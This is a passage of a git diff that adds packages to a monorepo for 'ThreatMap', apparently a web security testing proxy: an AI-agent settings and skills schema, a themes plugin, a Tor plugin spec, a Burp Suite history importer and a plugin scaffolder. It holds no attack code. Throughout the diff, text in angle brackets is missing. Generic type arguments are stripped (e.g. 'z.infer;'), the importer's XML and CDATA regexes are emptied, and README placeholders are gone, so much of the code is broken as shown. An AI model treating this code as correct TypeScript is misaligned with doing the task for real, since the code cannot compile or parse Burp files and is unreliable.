/api/v1/users/{id}/profile\nUNLESS, the current request is a graphql request, then use the operationName if present.", +}; + +export const DEFAULT_MAX_ITERATIONS = 100; + +export const defaultSettingsConfig: SettingsConfig = { + agentsModel: "", + floatModel: "", + renamingModel: "", + maxIterations: DEFAULT_MAX_ITERATIONS, + renaming: defaultRenamingConfig, + debugToolsEnabled: false, + autoCreateShiftCollection: true, + openRouterPrioritizeFastProviders: false, + featureFlags: defaultFeatureFlags, +}; + +export const UpdateSettingsSchema = z.object({ + agentsModel: z.string().optional(), + floatModel: z.string().optional(), + renamingModel: z.string().optional(), + maxIterations: z.number().optional(), + renaming: RenamingConfigSchema.partial().optional(), + debugToolsEnabled: z.boolean().optional(), + autoCreateShiftCollection: z.boolean().optional(), + openRouterPrioritizeFastProviders: z.boolean().optional(), + featureFlags: FeatureFlagsConfigSchema.partial().optional(), +}); +export type UpdateSettingsInput = z.infer; diff --git a/packages/plugins/shift/src/skills.ts b/packages/plugins/shift/src/skills.ts new file mode 100644 index 0000000..60bd6e8 --- /dev/null +++ b/packages/plugins/shift/src/skills.ts @@ -0,0 +1,97 @@ +import { z } from "zod"; + +export const SkillScopeSchema = z.enum(["global", "project"]); +export type SkillScope = z.infer; + +export const SkillAttachModeSchema = z.enum(["always", "on-demand"]); +export type SkillAttachMode = z.infer; + +const StaticSkillDefinitionSchema = z.object({ + type: z.literal("static"), + id: z.string().min(1), + title: z.string().min(1), + content: z.string().min(1), + scope: SkillScopeSchema, + projectId: z.string().min(1).optional(), + description: z.string().optional(), + attachMode: SkillAttachModeSchema.optional(), +}); +export type StaticSkillDefinition = z.infer; + +const DynamicSkillDefinitionSchema = z.object({ + type: z.literal("dynamic"), + id: z.string().min(1), + title: z.string().min(1), + url: z.url(), + scope: SkillScopeSchema, + projectId: z.string().min(1).optional(), + description: z.string().optional(), + attachMode: SkillAttachModeSchema.optional(), +}); +export type DynamicSkillDefinition = z.infer< + typeof DynamicSkillDefinitionSchema +>; + +const AgentSkillDefinitionSchema = z.discriminatedUnion("type", [ + StaticSkillDefinitionSchema, + DynamicSkillDefinitionSchema, +]); +export type AgentSkillDefinition = z.infer; + +export const AgentSkillSchema = z.object({ + id: z.string().min(1), + title: z.string().min(1), + content: z.string().min(1), + description: z.string().optional(), + attachMode: SkillAttachModeSchema.optional(), +}); +export type AgentSkill = z.infer; + +export const CreateStaticSkillSchema = z.object({ + title: z.string().min(1), + content: z.string().min(1), + scope: SkillScopeSchema, + description: z.string().optional(), + attachMode: SkillAttachModeSchema.optional(), +}); +export type CreateStaticSkillInput = z.infer; + +export const CreateDynamicSkillSchema = z.object({ + title: z.string().min(1), + url: z.url(), + scope: SkillScopeSchema, + description: z.string().optional(), + attachMode: SkillAttachModeSchema.optional(), +}); +export type CreateDynamicSkillInput = z.infer; + +export const UpdateStaticSkillSchema = z.object({ + title: z.string().min(1).optional(), + content: z.string().min(1).optional(), + scope: SkillScopeSchema.optional(), + description: z.string().optional(), + attachMode: SkillAttachModeSchema.optional(), +}); +export type UpdateStaticSkillInput = z.infer; + +export const UpdateDynamicSkillSchema = z.object({ + title: z.string().min(1).optional(), + url: z.url().optional(), + scope: SkillScopeSchema.optional(), + description: z.string().optional(), + attachMode: SkillAttachModeSchema.optional(), +}); +export type UpdateDynamicSkillInput = z.infer; + +const ProjectSkillOverrideSchema = z.object({ + skillId: z.string().min(1), + projectId: z.string().min(1), + additionalContent: z.string(), +}); +export type ProjectSkillOverride = z.infer; + +export const SetProjectOverrideSchema = z.object({ + skillId: z.string().min(1), + additionalContent: z.string(), +}); +export type SetProjectOverrideInput = z.infer; diff --git a/packages/plugins/shift/tsconfig.json b/packages/plugins/shift/tsconfig.json new file mode 100644 index 0000000..3977b85 --- /dev/null +++ b/packages/plugins/shift/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false + }, + "include": ["./src/**/*.ts"] +} diff --git a/packages/plugins/shift/tsdown.config.ts b/packages/plugins/shift/tsdown.config.ts new file mode 100644 index 0000000..8650aef --- /dev/null +++ b/packages/plugins/shift/tsdown.config.ts @@ -0,0 +1,13 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + dts: true, + sourcemap: true, + clean: true, + deps: { + neverBundle: ["zod", "@threatmap/sdk-shared"], + }, +}); diff --git a/packages/plugins/themes/README.md b/packages/plugins/themes/README.md new file mode 100644 index 0000000..8a8f9de --- /dev/null +++ b/packages/plugins/themes/README.md @@ -0,0 +1,3 @@ +# @threatmap/themes + +Specification for the ThreatMap Themes plugin. diff --git a/packages/plugins/themes/package.json b/packages/plugins/themes/package.json new file mode 100644 index 0000000..22f45e2 --- /dev/null +++ b/packages/plugins/themes/package.json @@ -0,0 +1,33 @@ +{ + "name": "@threatmap/themes", + "version": "0.0.0", + "description": "Specification for the ThreatMap Themes plugin", + "author": "ThreatCode", + "repository": "https://github.com/threatcode/threatmap", + "license": "MIT", + "type": "module", + "main": "./dist/index.mjs", + "types": "./dist/index.d.mts", + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs", + "default": "./dist/index.mjs" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "prepare": "pnpm run build", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@threatmap/sdk-shared": "workspace:*", + "zod": "4.3.6" + }, + "devDependencies": { + "tsdown": "0.20.1" + } +} diff --git a/packages/plugins/themes/src/api.ts b/packages/plugins/themes/src/api.ts new file mode 100644 index 0000000..b4334e3 --- /dev/null +++ b/packages/plugins/themes/src/api.ts @@ -0,0 +1,17 @@ +import type { Result } from "./result.js"; +import type { CreateTheme, Theme, UpdateTheme } from "./theme.js"; + +export type API = { + getThemes: () => Result; + getTheme: (themeId: string) => Result; + addTheme: (input: CreateTheme) => Promise>; + updateTheme: ( + themeId: string, + updates: UpdateTheme, + ) => Promise>; + removeTheme: (themeId: string) => Promise>; + resetThemes: () => Promise>; + + getActiveThemeId: () => Result; + setActiveTheme: (themeId: string | undefined) => Result; +}; diff --git a/packages/plugins/themes/src/events.ts b/packages/plugins/themes/src/events.ts new file mode 100644 index 0000000..e8ece01 --- /dev/null +++ b/packages/plugins/themes/src/events.ts @@ -0,0 +1,9 @@ +import type { Theme } from "./theme.js"; + +export type Events = { + "theme:created": (theme: Theme) => void; + "theme:updated": (theme: Theme) => void; + "theme:deleted": (themeId: string) => void; + "themes:reset": (themes: Theme[]) => void; + "theme:activated": (themeId: string | undefined) => void; +}; diff --git a/packages/plugins/themes/src/index.ts b/packages/plugins/themes/src/index.ts new file mode 100644 index 0000000..d327acc --- /dev/null +++ b/packages/plugins/themes/src/index.ts @@ -0,0 +1,24 @@ +import type { DefinePluginPackageSpec } from "@threatmap/sdk-shared"; + +import type { API } from "./api.js"; +import type { Events } from "./events.js"; + +export { type Result, ok, err } from "./result.js"; + +export { + AppearanceColorsSchema, + type AppearanceColors, + ThemeSchema, + type Theme, + CreateThemeSchema, + type CreateTheme, + UpdateThemeSchema, + type UpdateTheme, + BUILTIN_THEMES, +} from "./theme.js"; + +export type Spec = DefinePluginPackageSpec<{ + manifestId: "themes"; + api: API; + events: Events; +}>; diff --git a/packages/plugins/themes/src/result.ts b/packages/plugins/themes/src/result.ts new file mode 100644 index 0000000..5522eb2 --- /dev/null +++ b/packages/plugins/themes/src/result.ts @@ -0,0 +1,10 @@ +export type Result = + { kind: "Ok"; value: T } | { kind: "Error"; error: string }; + +export function ok(value: T): Result { + return { kind: "Ok", value }; +} + +export function err(error: string): Result { + return { kind: "Error", error }; +} diff --git a/packages/plugins/themes/src/theme.ts b/packages/plugins/themes/src/theme.ts new file mode 100644 index 0000000..2b76b72 --- /dev/null +++ b/packages/plugins/themes/src/theme.ts @@ -0,0 +1,57 @@ +import { z } from "zod"; + +export const AppearanceColorsSchema = z.object({ + surfacePage: z.string().min(1), + surfaceRaised: z.string().min(1), + fgDefault: z.string().min(1), + fgMuted: z.string().min(1), + lineDefault: z.string().min(1), + accent: z.string().min(1), + danger: z.string().min(1), +}); + +export type AppearanceColors = z.infer; + +export const ThemeSchema = z.object({ + id: z.string().min(1), + name: z.string().min(1), + description: z.string(), + author: z.string(), + light: AppearanceColorsSchema, + dark: AppearanceColorsSchema, +}); + +export type Theme = z.infer; + +export const CreateThemeSchema = ThemeSchema.omit({ id: true }); +export type CreateTheme = z.infer; + +export const UpdateThemeSchema = CreateThemeSchema.partial(); +export type UpdateTheme = z.infer; + +export const BUILTIN_THEMES: Theme[] = [ + { + id: "threatmap-default", + name: "ThreatMap Default", + description: "The default ThreatMap appearance.", + author: "ThreatCode", + light: { + surfacePage: "#ffffff", + surfaceRaised: "#f7f8fa", + fgDefault: "#1a1d21", + fgMuted: "#5b6470", + lineDefault: "#dfe3e8", + accent: "#2563eb", + danger: "#dc2626", + }, + dark: { + surfacePage: "#0f1115", + surfaceRaised: "#171a21", + fgDefault: "#e6e9ef", + fgMuted: "#9aa3b2", + lineDefault: "#2a2f3a", + accent: "#5b8def", + danger: "#f87171", + }, + }, +]; diff --git a/packages/plugins/themes/tsconfig.json b/packages/plugins/themes/tsconfig.json new file mode 100644 index 0000000..3977b85 --- /dev/null +++ b/packages/plugins/themes/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false + }, + "include": ["./src/**/*.ts"] +} diff --git a/packages/plugins/themes/tsdown.config.ts b/packages/plugins/themes/tsdown.config.ts new file mode 100644 index 0000000..8650aef --- /dev/null +++ b/packages/plugins/themes/tsdown.config.ts @@ -0,0 +1,13 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + dts: true, + sourcemap: true, + clean: true, + deps: { + neverBundle: ["zod", "@threatmap/sdk-shared"], + }, +}); diff --git a/packages/plugins/tor/README.md b/packages/plugins/tor/README.md new file mode 100644 index 0000000..17049e6 --- /dev/null +++ b/packages/plugins/tor/README.md @@ -0,0 +1,3 @@ +# @threatmap/tor + +Specification for the ThreatMap Tor plugin. diff --git a/packages/plugins/tor/package.json b/packages/plugins/tor/package.json new file mode 100644 index 0000000..d150b6b --- /dev/null +++ b/packages/plugins/tor/package.json @@ -0,0 +1,33 @@ +{ + "name": "@threatmap/tor", + "version": "0.0.0", + "description": "Specification for the ThreatMap Tor plugin", + "author": "ThreatCode", + "repository": "https://github.com/threatcode/threatmap", + "license": "MIT", + "type": "module", + "main": "./dist/index.mjs", + "types": "./dist/index.d.mts", + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs", + "default": "./dist/index.mjs" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "prepare": "pnpm run build", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@threatmap/sdk-shared": "workspace:*", + "zod": "4.3.6" + }, + "devDependencies": { + "tsdown": "0.20.1" + } +} diff --git a/packages/plugins/tor/src/api.ts b/packages/plugins/tor/src/api.ts new file mode 100644 index 0000000..2389a2b --- /dev/null +++ b/packages/plugins/tor/src/api.ts @@ -0,0 +1,25 @@ +import type { Result } from "./result.js"; +import type { + TestConnectionResult, + TorSettings, + TorStatus, + TorVersionInfo, +} from "./types.js"; + +export type API = { + getSettings: () => Promise; + updateSettings: ( + settings: Partial, + ) => Promise>; + + getStatus: () => Promise; + start: () => Promise>; + stop: () => Promise>; + reload: () => Promise>; + + testConnection: () => Promise>; + checkForUpdates: () => Promise< + Result<{ updateAvailable: boolean; latestVersion?: string }> + >; + downloadBinary: (version?: string) => Promise>; +}; diff --git a/packages/plugins/tor/src/events.ts b/packages/plugins/tor/src/events.ts new file mode 100644 index 0000000..3fec4e7 --- /dev/null +++ b/packages/plugins/tor/src/events.ts @@ -0,0 +1,6 @@ +import type { TorStatus } from "./types.js"; + +export type Events = { + "status:changed": (status: TorStatus) => void; + "config:changed": () => void; +}; diff --git a/packages/plugins/tor/src/index.ts b/packages/plugins/tor/src/index.ts new file mode 100644 index 0000000..9b39000 --- /dev/null +++ b/packages/plugins/tor/src/index.ts @@ -0,0 +1,31 @@ +import type { DefinePluginPackageSpec } from "@threatmap/sdk-shared"; + +import type { API } from "./api.js"; +import type { Events } from "./events.js"; + +export { type Result, ok, err } from "./result.js"; + +export { + TOR_STATES, + type TorState, + TorSettingsSchema, + type TorSettings, + DEFAULT_SETTINGS, + UpdateTorSettingsSchema, + type UpdateTorSettings, + TorStatusSchema, + type TorStatus, + TestConnectionResultSchema, + type TestConnectionResult, + TorVersionInfoSchema, + type TorVersionInfo, +} from "./types.js"; + +export type Spec = DefinePluginPackageSpec<{ + manifestId: "tor"; + api: API; + events: Events; +}>; + +export type { API } from "./api.js"; +export type { Events } from "./events.js"; diff --git a/packages/plugins/tor/src/result.ts b/packages/plugins/tor/src/result.ts new file mode 100644 index 0000000..5522eb2 --- /dev/null +++ b/packages/plugins/tor/src/result.ts @@ -0,0 +1,10 @@ +export type Result = + { kind: "Ok"; value: T } | { kind: "Error"; error: string }; + +export function ok(value: T): Result { + return { kind: "Ok", value }; +} + +export function err(error: string): Result { + return { kind: "Error", error }; +} diff --git a/packages/plugins/tor/src/types.ts b/packages/plugins/tor/src/types.ts new file mode 100644 index 0000000..374328b --- /dev/null +++ b/packages/plugins/tor/src/types.ts @@ -0,0 +1,62 @@ +import { z } from "zod"; + +export const TOR_STATES = [ + "idle", + "starting", + "running", + "stopping", + "error", +] as const; + +export type TorState = (typeof TOR_STATES)[number]; + +export const TorSettingsSchema = z.object({ + autoStart: z.boolean(), + autoCheckUpdates: z.boolean(), + port: z.number().int().min(1).max(65535), + installedVersion: z.string().optional(), + binaryPath: z.string().optional(), + upstreamProxyId: z.string().optional(), + includeHosts: z.array(z.string()), + excludeHosts: z.array(z.string()), +}); + +export type TorSettings = z.infer; + +export const DEFAULT_SETTINGS: TorSettings = { + autoStart: false, + autoCheckUpdates: true, + port: 9050, + installedVersion: undefined, + binaryPath: undefined, + upstreamProxyId: undefined, + includeHosts: ["check.torproject.org"], + excludeHosts: [], +}; + +export const UpdateTorSettingsSchema = TorSettingsSchema.partial(); +export type UpdateTorSettings = z.infer; + +export const TorStatusSchema = z.object({ + state: z.enum(TOR_STATES), + version: z.string().optional(), + updateAvailable: z.boolean(), + latestVersion: z.string().optional(), + error: z.string().optional(), +}); + +export type TorStatus = z.infer; + +export const TestConnectionResultSchema = z.object({ + isTor: z.boolean(), + ip: z.string(), +}); + +export type TestConnectionResult = z.infer; + +export const TorVersionInfoSchema = z.object({ + binary: z.string(), + version: z.string(), +}); + +export type TorVersionInfo = z.infer; diff --git a/packages/plugins/tor/tsconfig.json b/packages/plugins/tor/tsconfig.json new file mode 100644 index 0000000..3977b85 --- /dev/null +++ b/packages/plugins/tor/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false + }, + "include": ["./src/**/*.ts"] +} diff --git a/packages/plugins/tor/tsdown.config.ts b/packages/plugins/tor/tsdown.config.ts new file mode 100644 index 0000000..8650aef --- /dev/null +++ b/packages/plugins/tor/tsdown.config.ts @@ -0,0 +1,13 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + dts: true, + sourcemap: true, + clean: true, + deps: { + neverBundle: ["zod", "@threatmap/sdk-shared"], + }, +}); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 67480dd..569d500 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -46,6 +46,48 @@ importers: specifier: 0.21.7 version: 0.21.7(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + packages/plugins/chatio: + dependencies: + '@threatmap/sdk-shared': + specifier: workspace:* + version: link:../../sdk/sdk-shared + zod: + specifier: 4.3.6 + version: 4.3.6 + devDependencies: + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + + packages/plugins/compare: + dependencies: + '@threatmap/sdk-shared': + specifier: workspace:* + version: link:../../sdk/sdk-shared + zod: + specifier: 4.3.6 + version: 4.3.6 + devDependencies: + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + + packages/plugins/paramfinder: + dependencies: + '@threatmap/sdk-shared': + specifier: workspace:* + version: link:../../sdk/sdk-shared + zod: + specifier: 4.3.6 + version: 4.3.6 + devDependencies: + '@types/node': + specifier: 22.10.2 + version: 22.10.2 + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + packages/plugins/quickssrf: dependencies: '@threatmap/sdk-shared': @@ -55,6 +97,22 @@ importers: specifier: 4.3.6 version: 4.3.6 + packages/plugins/saml-raider: + dependencies: + '@threatmap/sdk-shared': + specifier: workspace:* + version: link:../../sdk/sdk-shared + zod: + specifier: 4.3.6 + version: 4.3.6 + devDependencies: + '@types/node': + specifier: 22.10.2 + version: 22.10.2 + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + packages/plugins/scanner: dependencies: '@threatmap/sdk-shared': @@ -68,6 +126,45 @@ importers: specifier: ^0.21.7 version: 0.21.10(oxc-resolver@11.24.2)(typescript@5.6.2) + packages/plugins/shift: + dependencies: + '@threatmap/sdk-shared': + specifier: workspace:* + version: link:../../sdk/sdk-shared + zod: + specifier: 4.3.6 + version: 4.3.6 + devDependencies: + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + + packages/plugins/themes: + dependencies: + '@threatmap/sdk-shared': + specifier: workspace:* + version: link:../../sdk/sdk-shared + zod: + specifier: 4.3.6 + version: 4.3.6 + devDependencies: + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + + packages/plugins/tor: + dependencies: + '@threatmap/sdk-shared': + specifier: workspace:* + version: link:../../sdk/sdk-shared + zod: + specifier: 4.3.6 + version: 4.3.6 + devDependencies: + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + packages/sdk/quickjs-types: {} packages/sdk/sdk-backend: @@ -361,6 +458,30 @@ importers: specifier: 3.2.7 version: 3.2.7(@types/node@22.17.2)(jsdom@20.0.3(supports-color@7.2.0))(supports-color@7.2.0) + tools/burp2threatmap: + devDependencies: + '@types/node': + specifier: 22.10.2 + version: 22.10.2 + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + typescript: + specifier: 5.6.2 + version: 5.6.2 + + tools/create-plugin: + devDependencies: + '@types/node': + specifier: 22.10.2 + version: 22.10.2 + tsdown: + specifier: 0.20.1 + version: 0.20.1(@emnapi/core@1.11.2)(@emnapi/runtime@1.11.2)(oxc-resolver@11.24.2)(typescript@5.6.2) + typescript: + specifier: 5.6.2 + version: 5.6.2 + tools/eslint-config: dependencies: '@eslint/js': diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index 25f3dc7..84c7a5c 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -13,3 +13,5 @@ packages: - 'packages/server/server-auth/examples/*' - 'packages/sdk/sdk-client/examples/*' - 'tools/eslint-config' + - 'tools/create-plugin' + - 'tools/burp2threatmap' diff --git a/tools/burp2threatmap/README.md b/tools/burp2threatmap/README.md new file mode 100644 index 0000000..41cc01e --- /dev/null +++ b/tools/burp2threatmap/README.md @@ -0,0 +1,7 @@ +# @threatmap/burp2threatmap + +Migrate Burp Suite HTTP history (XML export) into a ThreatMap project. + +```sh +burp2threatmap --burp --threatmap +``` diff --git a/tools/burp2threatmap/package.json b/tools/burp2threatmap/package.json new file mode 100644 index 0000000..ec98c12 --- /dev/null +++ b/tools/burp2threatmap/package.json @@ -0,0 +1,25 @@ +{ + "name": "@threatmap/burp2threatmap", + "version": "0.1.0", + "description": "Migrate Burp Suite HTTP history into ThreatMap", + "license": "MIT", + "type": "module", + "bin": { + "burp2threatmap": "./dist/index.mjs" + }, + "files": [ + "dist" + ], + "scripts": { + "build": "tsdown", + "typecheck": "tsc --noEmit" + }, + "engines": { + "node": ">=22.5.0" + }, + "devDependencies": { + "@types/node": "22.10.2", + "tsdown": "0.20.1", + "typescript": "5.6.2" + } +} diff --git a/tools/burp2threatmap/src/burp.ts b/tools/burp2threatmap/src/burp.ts new file mode 100644 index 0000000..e27937f --- /dev/null +++ b/tools/burp2threatmap/src/burp.ts @@ -0,0 +1,132 @@ +import { readFileSync } from "node:fs"; + +export type BurpItem = { + time: string; + url: string; + host: string; + port: number; + protocol: string; + method: string; + path: string; + extension: string; + request: string; + requestBase64: boolean; + status: number; + responseLength: number; + mimeType: string; + response: string; + responseBase64: boolean; + comment: string; +}; + +const fieldValue = (block: string, tag: string): string => { + const pattern = new RegExp(`<${tag}(?:\\s[^>]*)?>([\\s\\S]*?)<\\/${tag}>`); + const match = pattern.exec(block); + if (match === null) return ""; + return stripCdata(match[1]!.trim()); +}; + +const fieldIsBase64 = (block: string, tag: string): boolean => { + const pattern = new RegExp(`<${tag}([^>]*)>`); + const match = pattern.exec(block); + return match !== null && /base64="true"/.test(match[1]!); +}; + +const parseIntOrZero = (value: string): number => { + const parsed = Number.parseInt(value, 10); + return Number.isNaN(parsed) ? 0 : parsed; +}; + +const stripCdata = (value: string): string => + value.replace(/^$/, ""); + +const parseBurpXml = (xml: string): BurpItem[] => { + const items: BurpItem[] = []; + for (const match of xml.matchAll(/([\s\S]*?)<\/item>/g)) { + const block = match[1]!; + const item: BurpItem = { + time: fieldValue(block, "time"), + url: fieldValue(block, "url"), + host: fieldValue(block, "host"), + port: parseIntOrZero(fieldValue(block, "port")), + protocol: fieldValue(block, "protocol"), + method: fieldValue(block, "method"), + path: fieldValue(block, "path"), + extension: fieldValue(block, "extension"), + request: fieldValue(block, "request"), + requestBase64: fieldIsBase64(block, "request"), + status: parseIntOrZero(fieldValue(block, "status")), + responseLength: parseIntOrZero(fieldValue(block, "responselength")), + mimeType: fieldValue(block, "mimetype"), + response: fieldValue(block, "response"), + responseBase64: fieldIsBase64(block, "response"), + comment: fieldValue(block, "comment"), + }; + items.push(item); + } + return items; +}; + +export const parseBurpFile = (path: string): BurpItem[] => + parseBurpXml(readFileSync(path, "utf-8")); + +const TZ_OFFSETS: Record = { + UTC: 0, + GMT: 0, + EST: -5, + EDT: -4, + CST: -6, + CDT: -5, + MST: -7, + MDT: -6, + PST: -8, + PDT: -7, +}; + +const BURP_TIME_PATTERN = + /^(?:Mon|Tue|Wed|Thu|Fri|Sat|Sun) (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) (\d{1,2}) (\d{2}:\d{2}:\d{2}) ([A-Z]{2,5}) (\d{4})$/; + +const MONTHS: Record = { + Jan: 0, + Feb: 1, + Mar: 2, + Apr: 3, + May: 4, + Jun: 5, + Jul: 6, + Aug: 7, + Sep: 8, + Oct: 9, + Nov: 10, + Dec: 11, +}; + +export const parseBurpTime = (value: string): number => { + const match = BURP_TIME_PATTERN.exec(value.trim()); + if (match === null) { + const fallback = Date.parse(value); + if (Number.isNaN(fallback)) { + throw new Error(`Failed to parse Burp timestamp: ${value}`); + } + return fallback; + } + const [, month, day, clock, tz, year] = match; + const [hours, minutes, seconds] = clock!.split(":").map(Number); + const offsetHours = TZ_OFFSETS[tz!] ?? 0; + return ( + Date.UTC( + Number(year), + MONTHS[month!], + Number(day), + hours, + minutes, + seconds, + ) - + offsetHours * 3_600_000 + ); +}; + +export const decodeBody = (value: string, base64: boolean): Uint8Array => + base64 + ? new Uint8Array(Buffer.from(value.replace(/\s+/g, ""), "base64")) + : new TextEncoder().encode(value); diff --git a/tools/burp2threatmap/src/converter.ts b/tools/burp2threatmap/src/converter.ts new file mode 100644 index 0000000..14556bc --- /dev/null +++ b/tools/burp2threatmap/src/converter.ts @@ -0,0 +1,76 @@ +import { existsSync } from "node:fs"; +import path from "node:path"; +import { DatabaseSync } from "node:sqlite"; + +import { type BurpItem, decodeBody, parseBurpTime } from "./burp.js"; + +export class Converter { + private readonly db: DatabaseSync; + + constructor(projectPath: string) { + const dbPath = path.join(projectPath, "database.threatmap"); + if (!existsSync(dbPath)) { + throw new Error("ThreatMap main database does not exist"); + } + this.db = new DatabaseSync(dbPath); + + const rawPath = path.join(projectPath, "database_raw.threatmap"); + this.db.exec(`ATTACH DATABASE '${rawPath.replace(/'/g, "''")}' AS raw`); + } + + close(): void { + this.db.close(); + } + + convertItem(item: BurpItem): void { + const timestamp = parseBurpTime(item.time); + const responseData = decodeBody(item.response, item.responseBase64); + const requestData = decodeBody(item.request, item.requestBase64); + + const rawResponse = this.db + .prepare( + "INSERT INTO raw.responses_raw (data, source, alteration) VALUES (?, 'intercept', 'none') RETURNING id", + ) + .get(responseData) as { id: number }; + + const response = this.db + .prepare( + "INSERT INTO responses (status_code, raw_id, length, alteration, edited, roundtrip_time, created_at) VALUES (?, ?, ?, 'none', 0, 0, ?) RETURNING id", + ) + .get(item.status, rawResponse.id, item.responseLength, timestamp) as { + id: number; + }; + + const rawRequest = this.db + .prepare( + "INSERT INTO raw.requests_raw (data, source, alteration) VALUES (?, 'intercept', 'none') RETURNING id", + ) + .get(requestData) as { id: number }; + + const metadata = this.db + .prepare("INSERT INTO requests_metadata DEFAULT VALUES RETURNING id") + .get() as { id: number }; + + const request = this.db + .prepare( + "INSERT INTO requests (host, method, path, length, port, is_tls, raw_id, query, response_id, source, created_at, metadata_id) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'intercept', ?, ?) RETURNING id", + ) + .get( + item.host, + item.method, + item.path, + requestData.length, + item.port, + item.protocol === "https" ? 1 : 0, + rawRequest.id, + "", + response.id, + timestamp, + metadata.id, + ) as { id: number }; + + this.db + .prepare("INSERT INTO intercept_entries (request_id) VALUES (?)") + .run(request.id); + } +} diff --git a/tools/burp2threatmap/src/index.ts b/tools/burp2threatmap/src/index.ts new file mode 100644 index 0000000..69590b4 --- /dev/null +++ b/tools/burp2threatmap/src/index.ts @@ -0,0 +1,34 @@ +#!/usr/bin/env node +import { parseArgs } from "node:util"; + +import { parseBurpFile } from "./burp.js"; +import { Converter } from "./converter.js"; + +const main = (): void => { + const { values } = parseArgs({ + options: { + burp: { type: "string" }, + threatmap: { type: "string" }, + }, + }); + + if (values.burp === undefined || values.threatmap === undefined) { + console.error( + "Usage: burp2threatmap --burp --threatmap ", + ); + process.exit(1); + } + + const converter = new Converter(values.threatmap); + try { + const items = parseBurpFile(values.burp); + for (const item of items) { + converter.convertItem(item); + } + console.log(`[*] Imported ${items.length} item(s) into ThreatMap.`); + } finally { + converter.close(); + } +}; + +main(); diff --git a/tools/burp2threatmap/tsconfig.json b/tools/burp2threatmap/tsconfig.json new file mode 100644 index 0000000..1fd919b --- /dev/null +++ b/tools/burp2threatmap/tsconfig.json @@ -0,0 +1,10 @@ +{ + "extends": "../../tsconfig.json", + "compilerOptions": { + "isolatedDeclarations": false, + "declaration": false, + "declarationMap": false, + "noEmit": true + }, + "include": ["./src/**/*.ts"] +} diff --git a/tools/burp2threatmap/tsdown.config.ts b/tools/burp2threatmap/tsdown.config.ts new file mode 100644 index 0000000..f76fd5b --- /dev/null +++ b/tools/burp2threatmap/tsdown.config.ts @@ -0,0 +1,8 @@ +import { defineConfig } from "tsdown"; + +export default defineConfig({ + entry: ["./src/index.ts"], + platform: "node", + format: "esm", + clean: true, +}); diff --git a/tools/create-plugin/package.json b/tools/create-plugin/package.json new file mode 100644 index 0000000..13a29a2 --- /dev/null +++ b/tools/create-plugin/package.json @@ -0,0 +1,26 @@ +{ + "name": "@threatmap/create-plugin", + "version": "0.1.0", + "description": "Initializer for ThreatMap plugins", + "license": "MIT", + "type": "module", + "bin": { + "create-plugin": "./dist/index.mjs" + }, + "files": [ + "dist", + "templates" + ], + "scripts": { + "build": "tsdown", + "typecheck": "tsc --noEmit" + }, + "engines": { + "node": ">=20" + }, + "devDependencies": { + "@types/node": "22.10.2", + "tsdown": "0.20.1", + "typescript": "5.6.2" + } +} diff --git a/tools/create-plugin/src/index.ts b/tools/create-plugin/src/index.ts new file mode 100644 index 0000000..bf3e25e --- /dev/null +++ b/tools/create-plugin/src/index.ts @@ -0,0 +1,13 @@ +#!/usr/bin/env node +import { prompt } from "./prompt.js"; +import { scaffold } from "./scaffold.js"; + +const main = async (): Promise => { + const config = await prompt(); + await scaffold(config); +}; + +main().catch((error: unknown) => { + console.error(error instanceof Error ? error.message : error); + process.exit(1); +}); diff --git a/tools/create-plugin/src/prompt.ts b/tools/create-plugin/src/prompt.ts new file mode 100644 index 0000000..3f4626a --- /dev/null +++ b/tools/create-plugin/src/prompt.ts @@ -0,0 +1,53 @@ +import * as readline from "node:readline/promises"; + +import { type ScaffoldConfig } from "./types.js"; + +const toPluginId = (packageName: string): string => { + return packageName + .toLowerCase() + .replace(/^@/, "") + .replace(/[^a-z0-9-]/g, "-") + .replace(/-+/g, 